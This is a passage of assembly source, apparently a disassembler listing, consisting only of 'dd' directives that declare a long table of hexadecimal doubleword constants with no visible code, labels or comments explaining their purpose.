		dd 8D182106h, 65B9001Fh, 543C0785h, 1E254332h, 0CAE000EDh
		dd 0DB4812h, 5379977Fh,	0BDDE845Ch, 0E2CD7800h,	45401ED1h
		dd 0CF1512AEh, 8D2402DCh, 0F8A0D6A0h, 0B41E46A2h, 0BF764E01h
		dd 0BC0E41DFh, 0B828AFD1h, 1E7E9500h, 26714C23h, 8B35D30Bh
		dd 39DD8783h, 78D4CE70h, 0F1030058h, 525C2321h,	0DC01CCD8h
		dd 0AADB654Eh, 1888FF1Fh, 642E38B6h, 19E89387h,	0D2C50440h
		dd 888CA9CEh, 1F7B7618h, 118F4D23h, 8E04003Bh, 0FB69C61Fh
		dd 926000A6h, 88C09A10h, 0A1097F79h, 8AD866D9h,	0B840E4CEh
		dd 34714B6h, 0CFB7B440h
		dd 8779C59h, 8F9FA4A8h,	534F1400h, 0EA1C34A0h, 0B6030D4Bh
		dd 80B6E882h, 6188C350h, 0D9A6C9h, 0D53F1847h, 2FCA218Bh
		dd 8AFFBC00h, 0F2239702h, 47A51E81h, 0EB0F00F0h, 579FD41Bh
		dd 0A629D703h, 0F0D0862Bh, 3F1E93BAh, 18BACDC6h, 0A30E0C03h
		dd 5A809138h, 0BF002367h, 14F23069h, 7231E9h, 66449433h
		dd 0A0981C2Ch, 4DCBB000h, 806049D4h, 821501A1h,	0B80E5BC1h
		dd 0B63CECD9h, 0D303F0F0h, 4B47F29Ah, 431468Ch,	1E0F5AF0h
		dd 0C94C10C0h, 3D629FCh, 0DEDF01B0h, 0A798A44Bh, 5A019635h
		dd 4F133A79h, 14473D4Ch, 0D144DC54h, 3B6D44A3h,	48C68344h
		dd 0BFF642A9h, 29E40C2Bh, 65F5449Fh, 0BCC53CA0h, 1441B589h
		dd 1112FA2Fh, 8BBDBA10h, 0C8F427ECh, 83C0D4Ah, 5D91B845h
		dd 487C9D07h, 503D20FAh, 840F0C31h, 0C0CA8CFCh,	0B26C1D6h
		dd 0C51800E3h, 645E2A5Ch, 1C386BD7h, 0CFBA042Ch, 8DC0BB17h
		dd 73FDC7h, 667CA33Dh, 0DE06FC39h, 5DBA6400h, 0A619F831h
		dd 4DC400F2h, 0E49686C5h, 0EE003985h, 0F5B0D327h, 0F3A118h
		dd 3FBEDB7Dh, 652E63C2h, 0AF5BC801h, 0EEC93CD6h, 35F170h
		dd 0C6165E1Eh, 36822A46h, 0B400BCF2h, 867ACB51h, 65D9DAh
		dd 2A08C9B6h, 6B7D8488h, 0E357F900h, 1C9C2B80h,	0C8713BD0h
		dd 5E03A201h, 0FCEA7201h, 620070C5h, 18BAC9E5h,	0FA598F34h
		dd 0D69C0051h, 0F5A9070Eh, 0A80005CDh, 0CF1DD0FAh, 67186Dh
		dd 42FC77A2h, 3F31A9Fh,	0AE83BE03h, 904EE270h, 0DB5762h
		dd 0F4CC1FEFh, 23D72F8Eh, 0A06D6C00h, 4AEA5FC7h, 0D69602FAh
		dd 2A0648E1h, 803AD1E0h, 1E421300h, 91D79A4Bh, 944500F6h
		dd 364D7C1Dh, 8800EC3Ch, 60EA6A74h, 92E00D41h, 2CFC0084h
		dd 0B685455Bh, 0F7074E2Dh, 0CD4287B9h, 0E4D2DB80h, 0D34D00E7h
		dd 7F51BCD5h, 0F53148D7h, 3F88050h, 0DD6C90D7h,	0E35D00CBh
		dd 92568F86h, 6A01FC37h, 600BB64Bh, 30805330h, 0FEF8E99Eh
		dd 29001F41h, 92522B69h, 7831A625h, 4F2B4h, 3788CDA1h
		dd 44146067h, 0A8557C30h, 4A22AFh, 0EE931AB4h, 7F52C173h
		dd 88EFBE00h, 0E0F996FBh, 0C55504E6h, 0AAE97AD9h, 0DA784BC0h
		dd 0E2D51CDCh, 8B6B4CF0h, 0B7007CE1h, 8038AD18h, 783FC0EAh
		dd 0C564001Ch, 1753349h, 0A300557Ah, 0D06E2816h, 309D53h
		dd 0B869BD86h, 81AB8087h, 3EBFB73Dh, 2D2000F9h,	0F458FA28h
		dd 2A3B004Ch, 942EAAA9h, 24003DB5h, 0CB99E756h,	3467E71h
		dd 20C5E596h, 1CD01F90h, 0BD1813B4h, 0E298829Fh, 4B38009Eh
		dd 6A5AEB34h, 0CA308357h, 48A88CE4h, 9AAA003Fh,	919C86E5h
		dd 0BF12A50Eh, 0C80F44FFh, 6AD220C5h, 135C8804h, 0A8094Bh
		dd 0C3EFA158h, 2200F5DAh, 6F502C79h, 24897A46h,	3CA8BCh
		dd 7E8DE3F3h, 0C2005DC3h, 0AFD7FD98h, 0CA5D1h, 4562286Dh
		dd 0CF54832Fh, 0D4573700h, 0A3E59341h, 43A21C20h, 75768091h
		dd 0B089FBA9h, 14FCBA01h, 92B3839Dh, 0F8D8040h,	0F55C00F7h
		dd 0CB911D88h, 0C90527Eh, 0A286EC0Eh, 1FCD60EBh, 84FAA5h
		dd 19592D33h, 74997748h, 1BD2C007h, 0D130E18Dh,	4D44DC6Ah
		dd 0FB0BC8A3h, 0F2009043h, 947F3C0Eh, 2B5DD00h,	0E3A6E80Ah
		dd 0F3D49032h, 78737F8h, 5CB05D24h, 0F3990EAh, 795A90F3h
		dd 3800B4F8h, 8E37DA68h, 3E01D0FBh, 0B31553C7h,	0BE20A66Fh
		dd 0A8780073h, 0D8E75163h, 0DD1E66C0h, 208032A7h, 0F948D6C1h
		dd 0C5CC0EB3h, 0D8E0AAB4h, 8D9D9329h, 2F287B00h, 0DBEBC6C7h
		dd 0C1F8001Bh, 5EA05D59h, 0AD0FF5D5h, 0C0602B70h, 278F4087h
		dd 80BE002Ah, 21CB2C83h, 0D503A2E5h, 82D42FE0h,	0E9F80039h
		dd 0DD1B75EEh, 6600B8ADh, 9C67512Eh, 2B1965h, 0EACB8301h
		dd 844C54B9h, 0F0467000h, 49583176h, 0E4AB9834h, 0A357037Ch
		dd 760F9D8h, 0B425DCE8h, 9ED04C39h, 0FA0076C3h,	0B5685C32h
		dd 369C0318h, 474676Eh,	0BC90DBCAh, 0EB3B4113h,	72A90AB4h
		dd 1400B824h, 547D51FDh, 32D8005Eh, 749EFC50h, 2700BACDh
		dd 5D01457Ah, 0B6C2E5h,	6506AFEBh, 23CFFDECh, 0AD9340C0h
		dd 3E1AB875h, 60804121h, 70F55D5Eh, 0CF480FC0h,	0D0302E4h
		dd 80F04BACh, 45FD67BCh, 7AF407D1h, 0E6BC32Dh, 5FE7201h
		dd 2630B03Ah, 0EFBC664h, 0B7BBF42Dh, 8C5BBF00h,	1E0445ECh
		dd 976296AEh, 0D8E6D683h, 48CC4E61h, 9C1F348Bh,	2312C7C2h
		dd 0EEF8C095h, 0CB1C01D7h, 0E02681BCh, 6CC14203h, 0D122909Fh
		dd 0BA771CE1h, 0B2267E6Fh, 0FEB804C4h, 0D0C880D7h, 80A84F7Fh
		dd 0ED06FCD5h, 239D2FBFh, 922E3E48h, 0C2EB8780h, 49EAA2E3h
		dd 0C41BC804h, 0D1EAED46h, 30C39C16h, 0AE00A0B4h, 3F962F64h
		dd 0F5D240h, 2DC5F1B7h,	0DFE449CDh, 801B3D3Dh, 4B45320h
		dd 7335E1Ch, 0C2802517h, 0E3DFC14Ch, 0BD9892AEh, 80A1DC0Fh
		dd 12459E0Fh, 11BEA16h,	76DA40E7h, 302C5CEBh, 0E9775360h
		dd 89929801h, 25104534h, 26F69074h, 80B4443Eh, 682FCA22h
		dd 91E0DF4Fh, 0D0330D1Eh, 3CF5AC0h, 7A542Ah, 20ACCE7Fh
		dd 0C1CB170h, 0B09001F4h, 89A59B03h, 8836AF46h,	3E8A8FCh
		dd 9DEB086Eh, 0A0AF2610h, 3FBA9591h, 0BE19450Ch, 0ED80E0h
		dd 1B7EDB06h, 886848CCh, 0F0985100h, 0F153FCF5h, 0C3F2E3h
		dd 7458D717h, 432F48B4h, 0AEFB2B07h, 0E00C2ADAh, 0F3380B26h
		dd 7580D273h, 0C5F969BCh, 0FDBA5205h, 8D08068h,	1CF334h
		dd 3B3F29A6h, 959BCAF7h, 0DE149600h, 16AA0EFh, 85EC0045h
		dd 790261D7h, 2D9806DFh, 0ABF06500h, 0DBC115A1h, 0E44313D1h
		dd 74820C7h, 5A0195B8h,	17AF59B4h, 0D041ADE5h, 0B7043C5h
		dd 0D7B019h, 5AC35420h,	9D13B29Eh, 80E7223Ch, 0D7A22A17h
		dd 73BCEEF0h, 0F5E60018h, 4DA921C1h, 0FB3F5E8Eh, 3BE38287h
		dd 6043707Bh, 2455DFE4h, 63E84246h, 9EB911E8h, 65AC20B0h
		dd 70C2F300h, 0B2FFC67Dh, 35DC001Ah, 0A594D20h,	6C00A8B1h
		dd 30EAE436h, 81FFA4h, 2F0776C5h, 0DDB4BE0Dh, 50FA8505h
		dd 0C4D0BA11h, 37CB65h,	97F375D3h, 0BE09CAA7h, 829CB63Bh
		dd 7021D2E5h, 0DCFC8731h, 0A00B10C0h, 0F5DD0184h, 0E339FBE9h
		dd 0EBB2E09Dh, 0AEF1600h, 9133A7F6h, 945774B9h,	3E512D4h
		dd 0F54EDB68h, 1CE7A3C8h, 18B4A938h, 0DDB02873h, 2FF60058h
		dd 0A31E6C17h, 490912D5h, 247A42DCh, 0FC809668h, 0F3BF9DDh
		dd 3FC5C1B9h, 449A7880h, 38026DC6h, 0DA06094Ch,	0E174C032h
		dd 0A5B0529h, 835E262Ah, 63E87170h, 0B60092BEh,	7C6906B4h
		dd 0FAC2CA76h, 0B5092E17h, 0EEB8945Ch, 4C185E00h, 0AECDF95h
		dd 60F7023Dh, 0EAADC388h, 6F0700D6h, 33BD6A20h,	0A81E587Fh
		dd 0E2C0D027h, 0FBCF0B0Ch, 4940084h, 5AEFDAA5h,	240B0FDDh
		dd 80785595h, 0E7B38DE0h, 32520069h, 1DE1A948h,	4AE2204Bh
		dd 9D04BE00h, 9CC04FF8h, 30C3723Bh, 0A8D838FEh,	8D0A27D3h
		dd 0FBE59B1Eh, 8E150B00h, 3BB225h, 24B6673h, 6BE8D836h
		dd 51D4900h, 7BC64FD4h,	6550025h, 39F2C2B2h, 4300D295h
		dd 0FC9D873Ch, 70CD7C8Bh, 0F610033h, 9FA1E845h,	0F70070E6h
		dd 40A424EAh, 0C8E4F1h,	4C736D53h, 165E02BBh, 0BDFA3702h
		dd 40DB2563h, 7D1480h, 0F9552631h, 0F77F7E2Fh, 874A4200h
		dd 0E11AB3Ah, 0D2200E5h, 76DD778Eh, 0BA0A98E4h,	0E4C78533h
		dd 18F06598h, 972200C5h, 0C8CB447Bh, 905CD64Dh,	0DB097244h
		dd 25E5BE5Eh, 74C8C630h, 0C4B80070h, 0ABC09029h, 760009EEh
		dd 0BDC9F4F2h, 3C78A351h
		dd 0CE8073C8h, 6FF99568h, 0A7B831AAh, 99606607h, 6DE1B0BBh
		dd 12D8CB27h, 4E3900F3h, 0A4FE6A9h, 0D4005EFFh,	7A04B087h
		dd 64CFFCh, 0A333C53Fh,	0F56BAD16h, 39E03175h, 0FD2CAEF4h
		dd 600B29Fh, 4A09BCA3h,	0E8DE008Eh, 10E5F13Eh, 7400A623h
		dd 0AC44921Fh, 7C452h, 1EA4B83Fh, 0F7C53CCAh, 9E080E00h
		dd 547A55EBh, 33FD003Dh, 0B68B204h, 0A0004077h,	6B9679DEh
		dd 2CB1A92Fh, 0E88D84Fh, 6647EB2Dh, 813F1555h, 308D4063h
		dd 641DB84Eh, 7B80158Ch, 77D86FB2h, 0B473D7h, 21AADA2Ah
		dd 61E98DE7h, 80A3793Ah, 71910D60h, 0FC0987Ch, 2EF65E23h
		dd 40564207h, 40124A4Dh, 1C0EE4B8h, 29848FB3h, 0EFFCA07Fh
		dd 2E8EC443h, 8AFFBDh, 99A7768Ah, 8F0C5937h, 1007B950h
		dd 3A110005h, 40786DB5h, 0F8009127h, 0D773F0C6h, 5F1B813h
		dd 0C27D07B4h, 0DE85C0E9h, 0A706416Ch, 3B67409Eh, 2CF70184h
		dd 0CFEB9BEAh, 0E1BED0B0h, 137D7890h, 53168400h, 70C3E91h
		dd 29920052h, 0EC4DDAE6h, 483FBD40h, 0D488807Ah, 0ABFFA931h
		dd 1CCB3F54h, 97531187h, 4BCC8066h, 7500FE7Ah, 4E04580Eh
		dd 0F2471AB4h, 0F7D600A0h, 0EA4D8099h, 0C6000C38h, 170406B9h
		dd 1229A185h, 87B84662h, 0B1433394h, 1898A7C0h,	26ECBA58h
		dd 2B024FE5h, 0C2337BA0h, 124841B4h, 903BD0D3h,	0FDDC0779h
		dd 1F0F3F99h, 0D0DC1592h, 33842502h, 918013D6h,	44D96AA9h
		dd 0CDAC3400h, 413DE0CEh, 8AA20FF2h, 0C03C2961h, 0A3DEB7CBh
		dd 0E2022226h, 69E58DDDh, 45746032h, 546E000Dh,	6B2C7394h
		dd 0FB045178h, 918E29E5h, 0E3A9C0C0h, 1EC4EA5Fh, 87D9645Ah
		dd 0C42D85FDh, 0D728F0C3h, 0B27C4D00h, 0F18070D5h, 0FBA10528h
		dd 805AACDDh, 8F3338FCh, 37BE1100h, 70E4EE67h, 635F00A6h
		dd 4B106E9Bh, 3EECD935h, 2124A401h, 65F94A2Ah, 83F6C340h
		dd 0FF380F22h, 0BDA0F126h, 3EFCA2EBh, 0E786E000h, 0B18024BBh
		dd 0ABFB074Bh, 80780BB5h, 5A5E44C0h, 0FE999B07h, 13B0A039h
		dd 5C7582Bh, 0D7D66B26h, 2234917Eh, 86A10FDh, 1C98CBh
		dd 0E6C80D02h, 39898C9Fh, 1F6DD0A0h, 0D2F46F03h, 0E9706714h
		dd 2C282364h, 40BB4D13h, 0A836CD48h, 0A0755950h, 84E56200h
		dd 0D6E9E012h, 49882h, 0FE432EE3h, 7D9704D2h, 6700D9E8h
		dd 688D244Ah, 2539B5h, 8E07A427h, 0C615FC37h, 0B04F3C98h
		dd 4E21E002h, 8A54C04Dh, 105810B8h, 0C2670196h,	0AFD5F39Eh
		dd 7FC0A1C9h, 4E643332h, 0E5E85106h, 1F38EBBFh,	6878874Bh
		dd 0B791A219h, 0D9E8DB45h, 9B300E8Bh, 4476A613h, 0A94CA4h
		dd 9F59CFFFh, 0F9FE0279h, 1FBCD1ABh, 0A3F06440h, 80CDD43Ah
		dd 84305B5Ah, 7CFB0991h, 0B7EB073Fh, 71C70619h,	60DB2E14h
		dd 0B65CD560h, 189D09E9h, 0EA48E416h, 11DF001Dh, 59320EB7h
		dd 0B01F902h, 0D9EDEF57h, 0AD704AE2h, 58AA0043h, 416DE3FAh
		dd 0C90E1DA8h, 5303E5h,	146125BFh, 128C749Ch, 369A52h
		dd 1DB151C0h, 750085B6h, 39D7FFC1h, 0BEA8Fh, 0CB19F3E6h
		dd 7C50B2B3h, 0D82F1400h, 0AC1F29A5h, 0DC6617F6h, 8790006Ah
		dd 6136B7Dh, 0DFEC409Fh, 15B47525h, 0CCC9CC78h,	252B210h
		dd 1424AC0Eh, 57A301FBh, 0F07A71C5h, 1D01F501h,	88385FD3h
		dd 0CFECB0C7h, 0AFEB00ACh, 0A4742F5Ah, 0E5F4BA84h, 4EF3D00h
		dd 5CD835B4h, 126E00F7h, 92B2C9C6h, 0E100AE4Dh,	198028FDh
		dd 7E34420h, 701E070Bh,	0C921036Ah, 390620CFh, 1006128h
		dd 4B4D44FCh, 379AC71Bh, 30C0C0CCh, 4346D9Bh, 0A5EC80F7h
		dd 0FB6724Ch, 7EB7AD4h,	0E8733A0Ch, 0CC56F011h,	0D0F5B15h
		dd 630A2E50h, 8B94BA88h, 1C117BD0h, 0FE0B3A92h,	0A883CB07h
		dd 8D85C263h, 53378483h, 0C3121AE0h, 5A498201h,	2FDD4C89h
		dd 0F2095C38h, 60608575h, 683FB17Eh, 58670471h,	9C804D16h
		dd 0E02219AFh, 0AD0100E5h, 0BFB430FCh, 76002ED7h, 0A78287A5h
		dd 719E2DB6h, 27D50E07h, 8DC0094Dh, 0E145DB88h,	5340E03h
		dd 0BF9060F5h, 0B6046C90h, 9E260032h, 9F54DD22h, 153D11C0h
		dd 0C3888023h, 97FD5CE3h, 3E9500AEh, 49BD9044h,	3C035D1Bh
		dd 0D04FC7ABh, 0A7E00FFFh, 0BE0DE83h, 4061146Bh, 24733F00h
		dd 10A4F38Ch, 0FFB80336h, 880B5FDBh, 0F900A0B5h, 1883E11Eh
		dd 70CC1940h, 0E6E652DBh, 667614F5h, 0B100F44Ch, 4A208C3Ch
		dd 569813B5h, 9AC15215h, 90E502ACh, 703FECFCh, 58C004E0h
		dd 80F1A62Ch, 90888285h, 0D05E49h, 8ADD27E9h, 9E1630h
		dd 1245CCEAh, 35A342BFh, 0FE001190h, 0D2938A79h, 0F6158E4Eh
		dd 4BF900E8h, 54100489h, 3007EE24h, 0F5E5958h, 0E2FFB3B0h
		dd 0B7104DEh, 0C0F026BBh, 0FBB06A94h, 4FCC9D0Fh, 0D6AC40D9h
		dd 1DDB670h, 9373792Ah,	0BB928481h, 3AA680C0h, 701F6187h
		dd 28A2005Ah, 0DDB1ACFh, 1E00F420h, 0E83C5B3Dh,	57E4BEh
		dd 6B3F250Ah, 0A577404Ch, 0CC89FB0Fh, 37C940E1h, 9242C35Eh
		dd 9B6D0290h, 571D6110h, 840050D8h, 1FE3A8B2h, 7F67B6EBh
		dd 0C44A05FDh, 80EFBFDFh, 0FA49D1EDh, 0E530F865h, 89645880h
		dd 0EB77589Ch, 0D1E6CC00h, 0BA5CFABFh, 3DC75100h, 54646006h
		dd 1C280AB3h, 832FB6h, 71DFFF27h, 50F06172h, 750E4498h
		dd 4B07590Dh, 8A9D87B0h, 21A9DB90h, 0ED8C0042h,	1AFEEF9Eh
		dd 681E51D0h, 2A87A227h, 1830A4E5h, 7D82F2AAh, 0B43F03C1h
		dd 34334C52h, 28BB1BDBh, 0C8C981AAh, 8BD8F4E7h,	0A70E1400h
		dd 8235112Ch, 0D91D0F48h, 5200FA5Bh, 0DFA553CAh, 0A9E56300h
		dd 0AAE419Bh, 35FD0062h, 9F76C554h, 5700A0B3h, 829775E7h
		dd 903614C3h, 517E0760h, 3025EACFh, 0CA429E0h, 5CC76D0Eh
		dd 0D517C0B0h, 0D87A3Bh, 89843663h, 560C420Bh, 8005499h
		dd 27733374h, 0C490C4h,	91DB358Fh, 1C5694D5h, 302C0B0h
		dd 0E4D3CB02h, 6974E0BFh, 0F45E00C1h, 0BBB96838h, 16003C1Fh
		dd 0C03E6B4Ah, 9018EED6h, 8780026Bh, 7FCC4F37h,	64087761h
		dd 66009ED0h, 0B92C2F0Bh, 0F86D03h, 0DE7F63Bh, 0FB26EE06h
		dd 73709CB6h, 93812C38h, 395200C4h, 16DE9B33h, 0D290A00h
		dd 0C432627Eh, 75CA16FEh, 5790C11Ch, 24C21021h,	9CACF6EFh
		dd 0FCB00034h, 4BD72D37h, 4609EE07h, 0A3D75217h, 3083B604h
		dd 93FBB07Bh, 89BA049Bh, 0C0C8556Bh, 1E8D1988h,	7249CF00h
		dd 8E6ECB68h, 26CC01B5h, 0CD2E41B6h, 8B3E7066h,	6C906078h
		dd 7C8ACF00h, 8D466ABBh, 4FC31CBAh, 2B43C266h, 0A86090E3h
		dd 25007084h, 0EEA75682h, 2CC8CDD1h, 3CF5D2h, 120F2E3Bh
		dd 1C008F4Dh, 9B8771A1h, 0C610F8h, 7AABEFB5h, 0DD46EC64h
		dd 0BA441507h, 31C0C336h, 7B5B648h, 46B5BB2h, 86E40137h
		dd 29C440D5h, 73004894h, 0A597AB7Ch, 0C216B8h, 7627F6F9h
		dd 75794BD1h, 4AE60E04h, 0D031DAh, 1C3259D3h, 0AD91FA8Ah
		dd 0B0555CA0h, 1F002EDFh, 0AE3BE58Eh, 0E224DBh,	0C04CEFA7h
		dd 82B53ABFh, 0E7C0409h, 0B9A08050h, 1314907h, 0D0B470BAh
		dd 6428D73Eh, 93090240h, 2760326Fh, 8221F200h, 0E2F620h
		dd 77436405h, 1295E11Fh, 0CA1C800h, 2F59D0h, 91332D02h
		dd 3F6D80A2h, 83E24513h, 0C9E8D044h, 25CBCC88h,	0C009840h
		dd 14F99AFCh, 0C8F6A01Ch, 9880C217h, 1D512E97h,	802B047Dh
		dd 50C1433h, 7F243147h,	73002459h, 0BF7917DCh, 0BE8800D3h
		dd 0CE1BC0BBh, 0EA0082E4h, 0B19D3E84h, 6F0A7Eh,	0C1A7397Ah
		dd 51796449h, 9960E716h
		dd 979BD300h, 1B06E5h, 0BC03E92Ch, 0AACFA596h, 75C67B00h
		dd 7E378354h, 3FC42EAFh, 71E48098h, 2197C093h, 0D120379h
		dd 0A4805305h, 1C5E0227h, 80909533h, 0F3B3C6E6h, 727E0EA7h
		dd 39029177h, 8ADC587Fh, 0D9304008h, 4C8F363h, 0AC090198h
		dd 0D35AF34Dh, 0F74ACC1Dh, 0E4319D26h, 0FBC8039h, 0B6453B2Ch
		dd 64970065h, 146F81CCh, 950EE43Ah, 0A40376E1h,	64ACA4DCh
		dd 93C682C1h, 8EDC8906h, 0D96E803Ah, 0C3E7DAA3h, 73082092h
		dd 98E027FAh, 9900EF4Dh, 0F23060D8h, 4E5E1B7h, 0A81393E7h
		dd 912C022Bh, 0EC7660DDh, 2D4F001Bh, 0CF336E7Dh, 961DE1A8h
		dd 2642826Ah, 68ED05B1h, 9E0D314h, 36CFBFFAh, 32778C80h
		dd 2E1375A0h, 6F0E7885h, 0E6005CFEh, 9F240E95h,	0B0A039BCh
		dd 0D8A63800h, 1FEA67D9h, 5A021200h, 0ACC98127h, 0A69150E6h
		dd 22C61D62h, 0C41CD580h, 0C9023538h, 0FA0B67A5h, 0C6EC0FC0h
		dd 583B4F00h, 9E1421B3h, 19911E83h, 0BDDAC765h,	0A0BE6734h
		dd 96EDE492h, 5DB42201h, 1B859FE6h, 2DECBC70h, 0F4805054h
		dd 0D05C0D49h, 1129920Fh, 0EA0E6FFBh, 96701055h, 4254E891h
		dd 390F0047h, 3E4031B0h, 5131EB8h, 20C80F21h, 0D08C0050h
		dd 110F1EDAh, 0E8E0F8B3h, 4D18C0D3h, 73D33FDh, 948D760h
		dd 70690B3h, 89135CBAh,	0BF72004Ch, 1E5462D2h, 0F0004A88h
		dd 219CFD11h, 5ACD31h, 0B2DF4589h, 358CB96Dh, 4A07AE1Fh
		dd 929B5180h, 85E8BCh, 37C83470h, 6C695CABh, 0DA0E9800h
		dd 66BEA9EAh, 8F400E0h,	0B4B60CE8h, 2800F1B1h, 50FA78DCh
		dd 7E051D2h, 3DC0A607h,	2584E04Bh, 6031598h, 0BE81E6EBh
		dd 0CCC0951Ah, 7DE76F2h, 24AADAD4h, 7C1780A4h, 0A61D2216h
		dd 837CCEBBh, 6115B4D2h, 241AC091h, 0EBAC0031h,	0C9FDA97Fh
		dd 2589BE9h, 0C5007AC8h, 0D4DA3416h, 85E5D1h, 0A2522677h
		dd 4E81C1Fh, 0AA2BB51Dh, 48085DC0h, 40B399h, 0C68A1D76h
		dd 1AA694A1h, 0E9A280Ah, 0AA02CC2Ch, 68B3E44Dh,	7EC4964h
		dd 0EE26AE5h, 171DB1F1h, 0F40898F0h, 7BFC4C21h,	7DCF056Ah
		dd 4D671h, 37902A8Fh, 0D91DCE76h, 18C0A39Ch, 96220515h
		dd 2E5001B8h, 0B0D621F9h, 5E498084h, 45757D42h,	0FC8FE297h
		dd 10E820B6h, 8B3BAC00h, 0F468554Dh, 3D1C03FCh,	7D44B620h
		dd 18D1204Bh, 382292AFh, 9F3CAC00h, 814CB774h, 70C0B3B8h
		dd 0BB1110A6h, 0F2967C2Dh, 18EC63EEh, 39008EB1h, 0BA136220h
		dd 0F532AF4h, 816E5AB7h, 0CCF0E6C1h, 8230242Fh,	0D8E75B00h
		dd 1250D729h, 0F2A307F5h, 3075438Eh, 0C5300E02h, 8B31FE18h
		dd 0C3C63668h, 0C058CD81h, 0A6C003C2h, 4E00314Dh, 455163A5h
		dd 46AD5Ah, 171BCB90h, 0C87F7E3Dh, 0F41BB3Eh, 85C387ECh
		dd 83B1B2h, 11DEA085h, 186F00E4h, 7364163Fh, 75660F24h
		dd 1F21EB08h, 0EE18664Ah, 0E1003CAAh, 3AD82DA4h, 5D07FB78h
		dd 0DCA585EDh, 330BD26h, 0A76683CFh, 10588425h,	80F43E01h
		dd 0D395A199h, 0E8945990h, 0D021C034h, 89D2F4BEh, 82428C0Ch
		dd 101FB028h, 669B9498h, 46B81129h, 1872028Dh, 315C1630h
		dd 65531090h, 9A520018h, 19E3FD80h, 0C3065076h,	2285051Dh
		dd 16200268h, 11AAD9BEh, 0CDC07E05h, 7CA4673h, 0DA59B5F8h
		dd 21C346F7h, 0C4E89C00h, 8D7B3D6Dh, 0CD610F78h, 994651A1h
		dd 0AE077998h, 0E31C1936h, 808F0740h, 306A38F8h, 613E2A9Eh
		dd 419FBA11h, 0EA466FC4h, 88F50CF7h, 0C401F498h, 0A5E135ACh
		dd 14300F64h, 0CCE40109h, 394CD083h, 0AEC441FEh, 8DADCCC5h
		dd 0A916A12Eh, 7D233300h, 385479F1h, 0AC000A7Ah, 0D8A10D1Fh
		dd 22F83803h, 98649A00h, 6A49BE9Fh, 0B21E0067h,	0BA2AF392h
		dd 0F10089A6h, 39DD1147h, 70C2EF38h, 96260012h,	782737Ah
		dd 9800FB40h, 6D493051h, 0D45866h, 966133A6h, 95280D46h
		dd 0C2EB126h, 5B00541Ch, 1407CBF9h, 410D1B6h, 0A2659C3h
		dd 416D1000h, 5E6AF9Fh,	29DB1DDFh, 681140C9h, 4C954D71h
		dd 0C23E4200h, 0CEA8A537h, 0EA210031h, 0D97E8280h, 0B670F51Eh
		dd 836E409h, 88CB009Dh,	7E2C40ECh, 6A29007Ch, 160C8644h
		dd 5F007179h, 0ECCD74A3h, 0BBB132h, 73D6A613h, 669F33E7h
		dd 932F6300h, 2CF924C4h, 35BE007Ah, 0FF8ACE58h,	0A50019B2h
		dd 0F6281CCAh, 936A77h,	4238BE62h, 1731C0AAh, 94696800h
		dd 60BB7279h, 0FE6B0076h, 123BA525h, 50FC1727h,	0BC3D6500h
		dd 6DB0FD55h, 6BE74E8h,	0C592C08Dh, 3F07781Ah, 47446F74h
		dd 9E0180DBh, 0F890DCh,	39170A0Dh, 7BF16983h, 6DE59F00h
		dd 62EFA4BAh, 33A70016h, 0DADBE825h, 5008595h, 4C0A38DEh
		dd 4570ADh, 0C56F6898h,	1D43069Ah, 6DE72E00h, 2F77A2DFh
		dd 5BCA0058h, 6C619950h, 34548556h, 4A0078D8h, 0C6581014h
		dd 6A5A07h, 4F8D6716h, 0A0B87F31h, 2B3B40C0h, 4BE5C33h
		dd 64566D63h, 40DD4014h, 0A41D9Fh, 97F2E406h, 0C8B93EF7h
		dd 8A0D9300h, 2AE2863Ch, 2F6604B6h, 0C0C7271Eh,	2899D9EBh
		dd 2DB14A01h, 0E198E36Eh, 13CBCCh, 6567C410h, 0DC9770D0h
		dd 0CF044848h, 6AC360F6h, 9858620h, 412F88EEh, 5A81180h
		dd 5800812Bh, 0F1B435ECh, 1DB94C03h, 9D420E3Ah,	2F1B80C0h
		dd 6B048C96h, 5B80E61Fh, 83729DFBh, 70F9F745h, 0C52480BEh
		dd 2B00C8CDh, 975EB2EBh, 1CC40C9Eh, 473E5946h, 0D1507E34h
		dd 42FDD114h, 0FA81D5B8h, 0D820B548h, 4600F8D3h, 70B65081h
		dd 0B8FE7CB8h, 429C8213h, 36A4A7A3h, 72B93Ch, 0BEB4E9E5h
		dd 7C26BD0Dh, 6D5B5C05h, 0F180FC1Ch, 358760h, 656CF369h
		dd 0D326D807h, 8F5C087Bh, 0BF6F007Fh, 4B49561Ah, 3C79F645h
		dd 0E380F018h, 2A518BFBh, 0A812B23Ch, 0DE001D91h, 9F2D6DFAh
		dd 13A2815h, 9B6600E4h,	685AB88Ah, 0E7026BE4h, 4DFAFB27h
		dd 7E9140CCh, 0D808039Eh, 287F6C38h, 0DCF7618Fh, 0A76DD88Ch
		dd 0F30D96C2h, 654E08Ah, 11EF441h, 33A47E4Ch, 0D45384BDh
		dd 70076D5Eh, 9B9D3FAAh, 0D4C9A030h, 212A0562h,	80BF57F7h
		dd 4F5B7105h, 0C3F5B100h, 61683844h, 7233DABh, 0D90330CDh
		dd 77C07CFEh, 0CBE92840h, 0F3FB8C00h, 5A825759h, 842803A1h
		dd 4CDF006h, 946E50EFh,	3C4CBC01h, 0B78008Eh, 0D7832F2Eh
		dd 311E00D6h, 35F4FE58h, 9328A2B0h, 5A009C03h, 9B4B1F24h
		dd 4C652664h, 31068A63h, 9EFD7C0Bh, 330016EEh, 0CA364395h
		dd 0F8CE85D7h, 0BD503DDh, 91F45F12h, 55D40B0h, 88818E03h
		dd 0D0CDB0B8h, 453B61h,	7669552Ch, 1D7CDF1Ch, 2428E650h
		dd 5F971500h, 9F300AB8h, 4DCE00E9h, 468122E3h, 0BC000BA5h
		dd 0DF53BB24h, 2E637764h, 39CCA2h, 0BD35D54Fh, 1C00C212h
		dd 75ED5796h, 0C09452E0h, 261BAE50h, 0E011FCBh,	0BCD9F53Fh
		dd 33CCAAB1h, 9171007Ah, 0C1462B0Dh, 0B4F4F227h, 3E26603h
		dd 0C7904356h, 0B5530960h, 0AE590C70h, 5C83A11h, 67C03812h
		dd 15EAEA05h, 4F1B6800h, 121A6ADh, 395E6101h, 246B429Dh
		dd 0F707483Ch, 3F8F6873h, 3236AAA0h, 0F2B13870h, 0B71CA800h
		dd 4475F062h, 0B5DA2E14h, 0F31150A0h, 4A559200h, 0E1F419C8h
		dd 0A2910035h, 0FF7C0E46h, 83F8160h, 9A7A9852h,	7178810h
		dd 0CD73122Fh, 8515D0h,	10AF4A0h, 920F5E3Ah, 41D77670h
		dd 0FFE3FB9Bh, 2E03F7C4h, 4EAB46Fh, 93596E4Dh, 0FE9957DCh
